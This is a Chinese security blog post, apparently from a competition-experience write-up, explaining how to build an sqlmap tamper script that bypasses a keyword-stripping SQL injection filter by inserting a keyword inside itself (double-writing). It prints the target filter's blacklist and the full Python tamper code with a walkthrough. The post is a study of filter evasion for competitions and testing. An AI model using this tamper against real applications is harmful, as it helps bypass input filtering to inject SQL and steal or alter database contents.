SQLMAP-Tamper之较为通用的双写绕过

前言

21年省决赛的SQLITE注入就是用的双写绕过，当时是手搓代码打的，这几天想起来了，寻思着写个tamper试试。

一开始以为很简单，后来才发现有很多要注意的点，折磨了挺久。

等弄完才明白为什么sqlmap没有自带双写的tamper，涉及的情况太多，需要根据具体过滤逻辑来写代码，没法做到统一。

思路

过滤代码很简单：

blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXplaIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "plaN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REplaCE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)

先拿个网上的代码举例，

核心代码为

for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)

其逻辑为：用正则进行搜索单词，类似：

当检测到payload中存在关键字，就将该关键字插入到原本关键字字符串的随机位置。

很常规的逻辑，但在这里有一些问题：

1.类似SELECT->SELSELECTECT，如果添加的位置不对，就可能新生成一个存在于黑名单的字样导致sqlmap误判。

2.混淆得不够彻底。代码中是以单词为单位，但过滤时会扩大面积。精简一下：

keywords = ['OR','ORDER']
payload = 'ORDER'

混淆时：ORDER->OORRDER

过滤时：OORRDER->ORDER-> ''(为空)

那么，手动选某个关键字列表中比较特别的字样去统一混淆如何？

结论是可，但是费劲。首先需要先写个小脚本将关键字列表里的不纯粹的元素剔除。比如ORDER里含有OR，那么就需要将ORDER剔除。其次还得保证sqlmap的测试语句里不使用该字样，否则将导致误判。

整理一下上述思路，可以开始着手编写tamper了。

代码

写脚本之前先介绍下tamper模板

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
return payload

• __priority__定义脚本优先级：LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST

• dependencies()则声明该函数的适用/不适用范围，可为空

• tamper()则是主要函数，处理传入的payload并返回。

好，然后就是脚本的完整代码

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def tamper(payload, **kwargs):
"""
优化的双写绕过，顺序插入并判断是否新组成过滤单词
比如SELECT，当插入位置为3时为SELSELECTECT，则会生成黑名单列表中另一个单词ELSE造成误判
在此进行相关判断以保证生成的字符不存在另一个敏感词。

主要应对：
blacklist = [...]
for n in blacklist:
  regex = re.compile(n, re.IGNORECASE)
  username = regex.sub("", username)

>>> tamper('select 1 or 2 ORDER')
'selorect 1 oorr 2 OorRDER'
"""

keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXplaIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER","INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "plaN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REplaCE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]

retVal = payload

warnMsg = "当前关键字列表如下，请注意修改:\n"
warnMsg += "%s" % keywords
singleTimeWarnMessage(warnMsg)

if payload:
for key in reversed(keywords):
  index = keywords.index(key)
  num = 1
  check = True
  while check:
      if num >= len(key):
          singleTimeWarnMessage('无法绕过双写关键字列表')
          exit()
      check = False
      repStr = "%s%s%s" % (key[:num], key, key[num:])
      for t in keywords[:index]:
          if re.search(t, repStr) and not re.search(t, key):
              check = True
              break
      num += 1
  retVal = re.sub(key, repStr, retVal, flags=re.I)
return retVal

for key in reversed(keywords):首先进入最外层的关键字循环，在这里使用逆序，混淆的时候先2后1，过滤的时候先1后2，就能很好的还原代码。

while num < len(key) and check:然后进入第二层循环。num为插入位置，比如ASC，能插入的地方有AS中间和SC中间，如果都插入了一遍还是检测到敏感词，说明再怎么双写都会被检测出来。

for t in keywords[:index]:第三层循环就是二次校验了，比如['A','ELSE','B','SELECT','C']，混淆的时候从后往前，如果插入的位置不好，SELECT->SELSELECTECT。这样从前面循环检测，检测到ELSE，则该位置不合法，重新插入。个人感觉从中间插入组成新敏感词的几率比较小，但仔细琢磨一下也没必要多加几行代码，于是就干脆用顺序了。

至于not re.search(t, key)是为了避免ORDER中存在OR而被误判位置不合法的情况。

使用的时候把keywords列表一替换，拿到sqlmap一打，结束！

有个比较无语的点是re.sub()函数的第四个参数才是flags。

写代码的时候习惯性的在第三个参数位置打上re.I，然后又因为int(re.I)为2，程序正常运行不报错，最大替换次数为2次。折磨了好长时间。

本文作者：合天网安实验室

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/175047.html